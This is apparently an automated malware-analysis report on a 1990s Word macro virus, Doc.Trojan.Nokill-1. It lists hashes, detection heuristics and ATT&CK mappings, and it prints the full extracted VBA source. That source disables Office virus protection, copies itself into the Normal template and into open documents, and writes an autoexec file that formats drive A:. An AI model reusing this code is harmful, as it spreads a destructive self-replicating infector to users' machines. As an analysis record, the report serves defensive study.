Doc.Trojan.Nokill-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 9d2cab63c63fbb5c…

MALICIOUS

Office (OLE)

40.5 KB Created: 1997-09-17 10:18:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-30
MD5: a85cf5cf744540dcf9c5cc6f8f89c720 SHA-1: 108941d1c43c5bc6b184354d93a0c6a0cf6fee7a SHA-256: 9d2cab63c63fbb5cf058c0d9cad388efccca8b8cd63c3aa14223ca21316f5247
168 Risk Score

Malware Insights

Doc.Trojan.Nokill-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Nokill-1. Critical heuristics indicate VBA macro-virus replication and tampering with Office macro protection. The VBA macro code explicitly disables virus protection and attempts to replicate itself, suggesting a self-propagating malicious document.

Heuristics 5

  • ClamAV: Doc.Trojan.Nokill-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Nokill-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3138 bytes
SHA-256: 382b32b739bbbdbd2b7d1a9778784f32d6fb5371da84aae897366398507f504e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Xl"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_Creatable = True
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public WithEvents App As Word.Application

Private Sub App_DocumentChange()
Sae
End Sub



Attribute VB_Name = "Xl1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_Creatable = True
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public WithEvents App As Word.Application

Private Sub App_DocumentChange()
Sae
End Sub



Attribute VB_Name = "CloseA"
Dim X As New Xl
Sub AutoExec()
Set X.App = Word.Application
Options.VirusProtection = False
Sae
End Sub
Sub AutoOpen()
Set X.App = Word.Application
Options.VirusProtection = False
Sae
End Sub
Function man()

Options.VirusProtection = False
If Documents.Count = 0 Then Exit Function

nn = NormalTemplate.VBProject.VBComponents.Count
F1 = True
F2 = True
For k1 = 2 To nn
    If NormalTemplate.VBProject.VBComponents.Item(k1).Name = "CloseA" Then
        F1 = False
    End If
Next
nn = ActiveDocument.VBProject.VBComponents.Count
For k1 = 2 To nn
    If ActiveDocument.VBProject.VBComponents.Item(k1).Name = "CloseA" Then
        F2 = False
    End If
Next

If Documents.Count > 0 And (F1 Or F2) Then
    n1 = Application.VBE.VBProjects.Item(1).VBComponents.Count
    For k1 = 2 To n1
        Application.VBE.VBProjects.Item(1).VBComponents.Item(k1).Export ("c:\test-" + Trim(Str(k)) + "-" + Trim(Str(k1)) + ".bas")
    Next
    
    tt = Dir("c:\test*.bas")
    Do While tt <> ""
        If F2 Then ActiveDocument.VBProject.VBComponents.Import ("c:\" + tt)
        If F1 Then NormalTemplate.VBProject.VBComponents.Import ("c:\" + tt)
        Kill ("c:\" + tt)
        tt = Dir()
    Loop
End If
End Function

Function Sae()
Attribute Sae.VB_Description = "Ìàêðîñ ñîçäàí 03.05.00 1"
Attribute Sae.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.ééééééééééé"
Dim dat As Date
dat = "17.04.00"
If Date < dat Then
    Exit Function
End If
If Dir("c:\nokill.pls") = "nokill.pls" Then
    Exit Function
End If

Open "c:\start" For Output As #1
Print #1, "Y"
Print #1, ""
Close #1

Open "c:\autoexec" For Output As #1
Print #1, "@smartdrv.exe"
Print #1, "@format a: /q <start"
Close #1
man
End Function

Attribute VB_Name = "Xl2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_Creatable = True
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public WithEvents App As Word.Application

Private Sub App_DocumentChange()
Sae
End Sub